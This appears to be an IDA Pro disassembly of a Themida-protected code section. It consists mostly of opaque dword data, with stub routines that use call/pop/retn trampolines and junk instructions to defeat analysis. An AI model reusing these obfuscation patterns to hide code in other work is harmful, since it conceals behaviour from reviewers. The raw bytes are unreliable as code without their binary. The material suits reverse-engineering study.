		dd 81660617h, 0C7F2CEDBh, 1800h, 12840F00h, 0E9000000h
		dd 0Dh,	411F2133h, 13396540h, 63341B34h, 0E6B58BE0h, 6A0617A7h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 24FBC352h, 858B46E5h, 6140281h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 5DC35040h, 689B90Ah
		dd 6398D89h, 33B30614h,	0E35858Bh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5746E0C3h
		dd 6117D679h, 8B044689h, 1416099Dh, 60609606h, 11E8h, 0C9D8A200h
		dd 4F41F427h, 9A16C87Fh, 332F59DDh, 0E85AEF5Eh,	7, 268DCECAh
		dd 59AD062Fh, 2820F61h,	56000000h, 5650615Fh, 0AE8h, 69995400h
		dd 91572E89h, 6640906Fh, 5B5BD88Bh, 2DBD2B96h, 80061430h
		dd 0B5FF0CDFh, 617A7E2h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0E1C35646h, 0ED21BBA6h, 4E83F9Dh, 0FF000000h
		dd 66001F03h, 0F50FE8Bh, 81h, 24448B00h, 0BB008B04h, 42B45AFCh
		dd 4244489h, 9E9h, 55B9FC00h, 0F7AA0652h, 6A58266Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0F99FC351h, 8DFBB70Fh, 17A7EA85h, 0F5B52906h, 9006141Bh
		dd 0E8B0F50h, 50000000h, 0F525052h, 0F585A31h, 5A2AB731h
		dd 9D8B9058h, 61418B1h,	9D95FFFCh, 6A061408h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 1232C357h, 0F245A645h, 1159D8Bh, 9D290614h, 6140D9Dh
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 43A69B40h, 68F0Fh, 9D8B0000h, 6141B3Dh
		dd 77EF8166h, 3D85C747h, 3061401h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 7557C351h, 57718A5Ch, 1D9D89FAh, 0E806142Ch,	0Ch, 985B91ABh
		dd 0FBFA2B50h, 0C38BD495h, 5840Fh, 64BF0000h, 5F24D338h
		dd 0A7EABD83h, 0F000617h, 1E84h, 0D1BD8B00h, 0E9061407h
		dd 2Eh,	0EE9h, 2DBDDA00h, 0AF79EEh, 0E1B9301Bh,	50258F58h
		dd 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 8166C08Bh, 6ACCABCBh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 449AC350h, 0E346642Eh, 52586EA8h,	7E15C781h
		dd 6660749Ah, 0DD8AF28Bh, 3DBD8361h, 3061401h, 437850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 4605CAC3h, 60951262h, 419503h, 95890614h
		dd 61418C1h, 0E1BD8B61h, 8306141Fh, 17A7EABDh, 840F0006h
		dd 3F5h, 0B5FF5B57h, 617A7EAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 35C35040h, 0B4923275h, 8146F76Bh
		dd 1432DADFh, 3995FF66h, 8A061403h, 0DEB58BDCh,	0F0617A7h
		dd 1086h, 6E86000h, 79000000h, 85388CE8h, 61605B3Dh, 0DD8D2961h
		dd 0C706141Bh, 1000106h, 96D98B00h, 8E0F6050h, 0
; ---------------------------------------------------------------------------
		popa
		xchg	eax, esi
		add	[ebp+6141FBDh],	eax
		push	dword ptr [ebp+617A7EAh]
		jmp	loc_5C1EED
; ---------------------------------------------------------------------------
		inc	eax
		add	eax, 42F9A804h


loc_5C1EED:				; CODE XREF: Themida_:005C1EE2j
		call	dword ptr [ebp+6141081h]
		mov	[ebp+6140B51h],	eax
		mov	esi, [ebp+617A7DEh]
		sub	bx, 6B7Fh
		mov	eax, [ebp+6140FF9h]
		adc	edi, 2A5FDB1Dh
		mov	[esi+0C4h], eax
		push	0
		push	eax
		call	sub_5C1F21
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1F21	proc near		; CODE XREF: Themida_:005C1F19p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5C1F21	endp

; ---------------------------------------------------------------------------
		mov	ebp, 0CB6EAD0Bh
		retf	880Fh
; ---------------------------------------------------------------------------
		dw 6
		dd 9D0B0000h, 6140E21h,	2B69958Bh, 0FE80614h, 0B3000000h
		dd 0BED8E139h, 925C1DC9h, 7B541F0Eh, 89604749h,	14051195h
		dd 65852B06h, 61061430h, 4C2835Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 75C35545h, 10E9h, 0B7EB3E00h
		dd 383F2EE1h, 0D0DBB27Eh, 2BEF9BE7h, 2050893Bh,	23858DF5h
		dd 6A0617BCh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 383FC351h, 0D9D337Eh, 8906141Dh
		dd 0B886h, 4D852900h, 6A061406h, 14E800h, 0D4230000h, 57B0D7A9h
		dd 442F54B3h, 0F1EF81ADh, 714B9ACCh, 0BB661B26h, 0FF5FB96Fh
		dd 17A7EAB5h, 0FDBD8B06h, 0FF06141Bh, 1433AD95h, 899D8B06h
		dd 96061413h, 28D0F60h,	60000000h, 890F5661h, 0
		dd 5050615Bh, 0F60B752h, 5AFE8B31h, 6A9658h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 889955C3h
		dd 1059B589h, 9D8B0614h, 6141FB1h, 0A7EAB5FFh, 85890617h
		dd 614318Dh, 0FFFFBF0Fh, 14230995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 3D0CAD91h
		dd 0BD0BA0ADh, 6143039h, 89BD83F8h, 61411h, 9F840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 2AD8BDC3h, 0F69A399Ah, 18860F2Dh, 0F000000h,	1282h
		dd 0DE900h, 0A7C90000h,	87A51FA5h, 0A839F8BDh, 96C29CD4h
		dd 50D98B66h, 10E9h, 0FF337E00h, 0C89AB39Dh, 0FEC5A0ABh
		dd 230F5D8Bh, 6A96F4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 755FCDC3h, 850FABD4h, 0Dh, 0E6816660h
		dd 85899F6Eh, 6142A69h,	0A830F61h, 60000000h, 0BB23E680h
		dd 6CA68D6Dh, 0EAB5FF61h, 6A0617A7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0C894C355h
		dd 1F759529h, 95FF0614h, 61402D5h, 6D38166h, 13E97Ah, 0CF560000h
		dd 0F80DA368h, 961FA69h, 0DED75744h, 0D37257B9h, 0EAB5FFCDh
		dd 6A0617A7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0FF0C356h, 0E82DDC1Ch,	13h, 0D7AF8643h
		dd 20A487A6h, 0F69365F2h, 905406F4h, 0BFF1437Fh, 8E5ABA1h
		dd 73EF815Bh, 0FF2E930Ah, 140B7595h, 0ADBD0306h, 8306140Dh
		dd 14112DBDh, 840F0206h, 36h, 1389BD01h, 858B0614h, 6140055h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8AC35343h
		dd 845BDD3Ch, 0C6894CE0h, 0BF660000h, 85C76614h, 6141E49h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C223F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C223F	proc near		; CODE XREF: Themida_:005C2237p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C223F	endp

; ---------------------------------------------------------------------------
		db 0D0h
		dd 0D398761h, 81F7AF26h, 1DF6A5D7h, 0F30BE930h,	8D89FFFFh
		dd 6140FFDh, 0A69BD29h,	0C18B0614h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0FAC35646h,	858DCE3Ah, 6140791h
		dd 11198D89h, 66500614h, 489F88Bh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 6AA66087h
		dd 6ADE8B00h, 8DC8B700h, 1848BC85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 85010D9Bh
		dd 6142595h, 0A79BD8Bh,	0C0830614h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0EF8166C9h
		dd 5390E7B4h, 8D0F5250h, 0
		dd 585A310Fh, 6A90505Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 5676C351h, 70B07A77h
		dd 80F9C0Fh, 7099D8Bh, 6A0614h,	2850Fh,	0F98B0000h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 117FEEC3h, 0BF26D115h, 5EEC2B99h, 1B1995FFh,	95BF0614h
		dd 8D1391AFh, 17A7788Dh, 6AD1FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 538BC352h
		dd 8B7DDFA7h, 141A359Dh, 0CDBD8306h, 1061401h, 8A850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 4DD27C3h,	6F59589h, 26A0614h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 83C35747h, 0C9BB6663h
		dd 0BB575003h, 77EC3B61h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 6DC35646h, 810F0CDCh, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+61433ADh]
		jz	loc_5C2458
		push	edi
		mov	[ebp+6140BD5h],	ecx
		pop	edi


loc_5C2458:				; CODE XREF: Themida_:005C244Aj
		jmp	loc_5C327E
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 61848C6h
		mov	bx, 0CDA1h
		push	0
		push	edx
		call	sub_5C2478
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2478	proc near		; CODE XREF: Themida_:005C2470p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C2478	endp

; ---------------------------------------------------------------------------
		dd 0F21FFE7h, 68Eh, 0C4C38100h,	8D3013AAh, 178E4985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 9F280C22h, 60603F1Fh, 810Fh,	0BF0F0000h, 0D78B61DEh
		dd 0E9FC6061h, 8, 0CAB5DA51h, 7E3D0FF7h, 8A0F5061h, 4
		dd 0FCF6BB66h, 0E8240489h, 0Ah,	55F710h, 97C62341h, 6E9C29Eh
		dd 2C000000h, 25C0DF14h, 0FF645B90h, 35h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 6FC8BE49h, 0A011B041h, 0BA6660EBh, 13E85AA4h, 8B000000h
		dd 60E5161Dh, 82B194D4h, 0AE4D6EB7h, 0E4AEB742h, 81663AB0h
		dd 59D4BBE1h, 25896461h, 0
; ---------------------------------------------------------------------------
		call	sub_5C2568
		xchg	edx, [eax]
		mov	ecx, 1F534381h

; =============== S U B	R O U T	I N E =======================================



sub_5C2568	proc near		; CODE XREF: Themida_:005C255Cp
		mov	edi, [ebp+6141269h]
		pop	ebx
		mov	di, bx
		inc	dword ptr [ebp+6142DEDh]
		push	0
		push	edx
		call	sub_5C2583
		and	[edx-3Dh], bl
sub_5C2568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C2583	proc near		; CODE XREF: sub_5C2568+13p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C2583	endp

; ---------------------------------------------------------------------------
		sub	ebp, [ecx-77h]
		xchg	eax, ebp
		adc	eax, 50061412h
		jmp	loc_5C25B2
; ---------------------------------------------------------------------------
		db 0E1h, 0A5h, 0E9h
		dd 0AAAD4FDFh, 0ACAECF6Ch, 4892FEBAh
		db 80h,	0CDh
; ---------------------------------------------------------------------------


loc_5C25B2:				; CODE XREF: Themida_:005C259Cj
		pop	ebx
		push	0FFFFFFFFh
		jmp	loc_5C25C0
; ---------------------------------------------------------------------------
		dw 7D35h
		dd 6DA78135h
; ---------------------------------------------------------------------------


loc_5C25C0:				; CODE XREF: Themida_:005C25B5j
		mov	bx, si
		push	dword ptr [ebp+6142665h]
		push	0
		push	ecx
		call	sub_5C25D4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C25D4	proc near		; CODE XREF: Themida_:005C25CCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C25D4	endp

; ---------------------------------------------------------------------------
		dd 468172ADh, 65D11226h, 8B66DCF0h, 8995FFDEh, 0E906142Ah
		dd 0F9h, 23F5BD8Bh, 0B00614h, 12E9h, 448B7700h,	7BA8E6F9h
		dd 0B13B44BDh, 3188D11Fh, 0E61E6BFDh, 0D98D8970h, 0E406141Eh
		dd 0E3816671h, 8B66D1C1h, 0F613CFAh, 0C083h, 1D8D8900h
		dd 0F061430h, 6E9C8B6h,	0B000000h, 29C55D59h, 0FFB70FF5h
		dd 6BAh, 21BD8B00h, 8B06141Fh, 0B3BF66C1h, 4E8C1C3h, 66D8BF0Fh
		dd 0DA8BE2F7h, 0B589C82Bh, 6140A4Dh, 1CE99D8Bh,	0D18B0614h
		dd 6E9FC8Ah, 8B000000h,	142D39BDh, 65858B06h, 8B061406h
		dd 1433A5BDh, 7C08306h,	83FEB70Fh, 9D8B00C0h, 6140BDDh
		dd 830FD03Bh, 11h, 25DDBD01h, 42E90614h, 8B000000h, 14071DBDh
		dd 258D8B06h, 1061431h,	140D2D9Dh, 1E18306h, 27840Fh, 2DB70000h
		dd 3125A583h, 8BFE0614h, 14267DBDh, 65958906h, 60061406h
		dd 256D8D31h, 1EBB0614h, 615AC6EAh, 0E9h, 9DB58D00h, 660617C7h
		dd 6A920CBBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 14F18769h, 13619D01h, 95FF0614h
		dd 6142971h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	23C35242h, 6F34B768h, 0B98650BDh, 0E52h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EAC35646h, 2BD75A78h
		dd 0E19BD2Bh, 0E1830614h, 0F38166FCh, 6AFCDECDh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0B14AC355h, 189F4B78h, 0C02B0B52h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 55C35040h, 0F4E6DD69h, 0A843E8B6h
		dd 3481B529h, 0BA0614h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B078C352h
		dd 0F947E6EEh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 4BC35242h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 68488ADDh, 1EE4BCA2h, 81667523h, 0D712EDFh, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E5C35343h, 0D4D2F5FAh
		dd 8722CA5Eh, 2B69958Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 29A3A4C3h, 8D8BF10Bh
		dd 6141055h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0F9C35747h, 748BC744h, 0BD33798Ah, 6142AADh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3B6877C3h
		dd 817C3DD5h, 2D79BD8Bh, 8B660614h, 4DBD83DEh, 6140Fh
		dd 6A840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 150424h, 50400000h, 0B8EFC0C3h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5C293F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C293F	proc near		; CODE XREF: Themida_:005C2937p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5C293F	endp

; ---------------------------------------------------------------------------
		db 0B2h
; ---------------------------------------------------------------------------
		jmp	short loc_5C299D
; ---------------------------------------------------------------------------
		dw 0F40h
		dd 0EB1C8CECh, 6800Fh, 0B5890000h, 6140FF5h, 4DFF8D8Dh
		dd 0F2B70614h, 810FE1FFh, 8, 2890Fh, 0DE8B0000h, 13DBD83h
		dd 0F000614h, 37484h, 0DF8B6600h, 13DBD83h, 0F010614h
		dd 37F84h, 55006A00h
		db 0E8h
; ---------------------------------------------------------------------------


loc_5C299D:				; CODE XREF: Themida_:005C2950j
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0E59D035Ch, 83061406h, 14013DBDh, 860F0306h,	31Ah, 28D8509h
		dd 6A600614h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0CA02C357h, 8B1336DEh,	59B58990h
		dd 6606140Ch, 0E781D98Ch, 2C9F7AACh, 0E804E180h, 0Eh, 1DE0BBDEh
		dd 62F880ADh, 29CA1F04h, 0B70F546Ch, 0C90A5BF9h, 0AB840Fh
		dd 858B0000h, 6140E35h,	0B9B58B60h, 6106142Ah, 19E58D31h
		dd 85330614h, 61406A9h,	83F6DB81h, 0BF504C73h, 0E65687Ah
		dd 0B7240489h, 8B006AB2h, 140C659Dh, 4E806h, 3FF0000h
		dd 5E9001Fh, 6A000000h,	8D954A39h, 8B37B750h, 0BF042444h
		dd 64E073B5h, 0FE8008Bh, 90000000h, 4BB70585h, 288C781Ch
		dd 9FC8CE1Fh, 0FFBFA9FFh, 5B171ABDh, 4244489h, 0BC66BA60h
		dd 85BF7EF4h, 6105FC55h, 8870F58h, 52000000h, 810Fh, 0FF5F0000h
		dd 14089D95h, 89DF8B06h, 17A7EA85h, 85AFBB06h, 0A0E938BEh
		dd 81000001h, 0C59AD3E7h, 0E2858B13h, 660617A7h, 5609CF81h
		dd 1800C7h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 180424h, 57470000h, 455A3C3h, 896096F8h, 1403F195h
		dd 0DF816606h, 8B6102BCh, 17A7E6B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 40EF6AB6h
		dd 719D8B43h, 8B06142Ah, 14028185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0A731D200h
		dd 9F284DDh, 141BC58Dh,	6A068906h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2686C356h
		dd 8B0DE7D2h, 140E3585h, 0AE906h, 0DDDB0000h, 0CCC44E90h
		dd 0E8F6AF7Fh, 6A044689h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 965BC355h, 95E9BB66h
		dd 5E950h, 95220000h, 9616A935h, 0A7E2B5FFh, 0BD8B0617h
		dd 61400E5h, 7334C168h,	240481CCh, 33ABCF3Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 85C35646h, 0DA8B2261h
		dd 8D19EB80h, 17A7EA85h, 0CD9D8B06h, 5006141Fh,	66605250h
		dd 0E93E65B9h, 13h, 93A57385h, 559FBE36h, 0EACF0818h, 445C6FEDh
		dd 61186478h, 585A310Fh, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 94CAC352h
		dd 8906EB9Fh, 14018195h, 9D95FF06h, 61061408h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4EC35040h, 4AC0FE78h
		dd 3FC0F946h, 9E9F5h, 0A7500000h, 8207B2F2h, 0C78745BDh
		dd 14013D85h, 306h, 0BD83FC00h,	617A7EAh, 2F840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 2E43C356h, 807252E9h, 8B70D1D7h, 142E19BDh
		dd 1BE906h, 30500000h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 363FCC04h, 3E1B5682h
		dd 8D292F5Bh, 61406A5h,	11E8h, 0E5318000h, 0D3211FC1h
		dd 74A832Ah, 9ABAF2Ah, 0DDB388BEh, 3DBD835Fh, 3061401h
		dd 4E8850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0FEC60C3h, 519589D8h, 0FC061420h
		dd 0A7EABD83h, 0F000617h, 4B584h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0D60104FCh
		dd 12E8A7AFh, 14000000h, 32E1931Eh, 0C5692D66h,	0EE7F057Dh
		dd 9304B7Bh, 0DDBD8B85h, 5F061408h, 0A7EAB5FFh,	9D8B0617h
		dd 6140E39h, 33995FFh, 0CB800614h, 0DEB58B90h, 6A0617A7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0E8C8C356h, 417438F5h, 9F82DCFh, 2618D781h
		dd 6C77DBBh, 10001h, 66525050h,	0F0DD3BBh, 5870F31h, 0BF000000h
		dd 199E0999h, 3489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 37C50BBDh, 0B5FFFCBAh
		dd 617A7EAh, 8195FFF8h,	89061410h, 1411718Dh, 0DEB58B06h
		dd 890617A7h, 142D6DB5h, 0F9858B06h, 6A06140Fh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0A5F3C350h, 0E405E013h, 0FE8BC081h, 868982B7h, 0C4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 8CC35646h
		dd 0EA5231F7h, 66490872h, 0F10DDB81h, 2B69958Bh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 937472C3h, 0C2833417h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 456781F5h
		dd 5089ECB9h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 9032D3C9h, 0BEBF66ADh, 23858D06h
		dd 6A0617BCh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 31D6C356h, 141DB585h, 0DB816606h
		dd 8689A4EFh, 0B8h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 14h, 2AC35040h, 6ADBB70Fh,	85896000h, 614076Dh
		dd 0BD3361F8h, 6142B21h, 0A7EAB5FFh, 6A0617h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0C000CEC3h
		dd 89C6533Ch, 140B39BDh, 0AD95FF06h, 0BB061433h, 4AA39733h
		dd 8B666096h, 13E8CFh, 86BF0000h, 0CC7768E3h, 870E0A20h
		dd 1830D41Ch, 8213DFDDh, 59616051h, 8B665061h, 6A96FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 1E6BFDC3h, 0A9EF89B8h, 9BE38128h, 0FF659C1Ah, 17A7EAB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0F1E276E7h, 0EADCA3E9h, 0CE8A3DCh, 3D000000h
		dd 0A954C516h, 5908E257h, 8B667C2Ch, 141BD19Dh,	95FF5F06h
		dd 6142309h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	26C35242h, 4464540Ah, 1A92D0C0h, 0EE9h,	0A6C3FF00h
		dd 0F920F1FBh, 73CB3D0Ah, 6047E493h, 600CDC80h,	318D29FCh
		dd 6106142Eh, 89BD8361h, 61411h, 2B840Fh, 85310000h, 614066Dh
		dd 0BF525050h, 1AAB441Ah, 0BE9310Fh, 80000000h,	7DF3874Bh
		dd 0DCC54E93h, 585A4C64h, 81243489h, 90479BEFh,	0EAB5FF20h
		dd 6A0617A7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0DB6CC351h, 0CA28B11Ah, 7DBD23CCh
		dd 0F061413h, 58Ah, 0C7816600h,	95FFA0EDh, 61402D5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6C35747h, 0ABBF662Dh
		dd 0EAB5FF21h, 8B0617A7h, 143495BDh, 7595FF06h,	6A06140Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 6951C356h, 8BCEEC31h, 141F79BDh, 2DBD8306h
		dd 2061411h, 91840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 514EC7C3h, 8B70E7DFh
		dd 14005585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 800FE075h, 15h, 0DE852h, 3F080000h
		dd 6BEDF92h, 55A7B98Eh,	5F139330h, 0D781605Bh, 57BA610Bh
		dd 2830Fh, 0FCB00000h, 0C661h, 0DE8h, 4CE16500h, 0F2001058h
		dd 3ACBFE05h, 8C0FE6D5h, 6, 3019D8Bh, 0C75B0614h, 141E4985h
		dd 6, 0DE900h, 13FB0000h, 355DC9FEh, 0C9ADBCE1h, 0F5F0422h
		dd 40E9FFBFh, 3FFFFF3h,	141E3DBDh, 66C18B06h
; ---------------------------------------------------------------------------
		mov	ebx, edx


loc_5C327E:				; CODE XREF: Themida_:loc_5C2458j
		lea	eax, [ebp+6140791h]
		push	0
		push	edx
		call	sub_5C328F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C328F	proc near		; CODE XREF: Themida_:005C3287p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C328F	endp

; ---------------------------------------------------------------------------
		dec	ecx
		aad	33h
		sbb	al, 0C0h
		cmp	[ecx+60F00915h], bl
		mov	[ebp+6140301h],	edx
		mov	ecx, 6591CE1Dh
		popa
		nop
		mov	edi, 3A1CFE98h
		push	eax
		mov	ebx, eax
		nop
		push	0
		push	edi
		call	sub_5C32CB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C32CB	proc near		; CODE XREF: Themida_:005C32C3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5C32CB	endp

; ---------------------------------------------------------------------------
		db 45h
		dd 0ACADB1D9h, 81ACCC43h, 0D55F95F7h, 0DE845h, 13D0000h
		dd 0FCD4C8CDh, 65255B9h, 806FF7AAh, 665F86F3h, 0C9F5C381h
		dd 0BD8B006Ah, 6141B95h, 9D31006Ah, 614240Dh, 29859D8Bh
		dd 858D0614h, 61858FFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 40C35545h, 945B509h, 0C0830614h, 52BB6605h
		dd 5B515016h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0E5ADC355h,	6A006AB5h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 24E0C352h, 79850128h, 6A061415h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
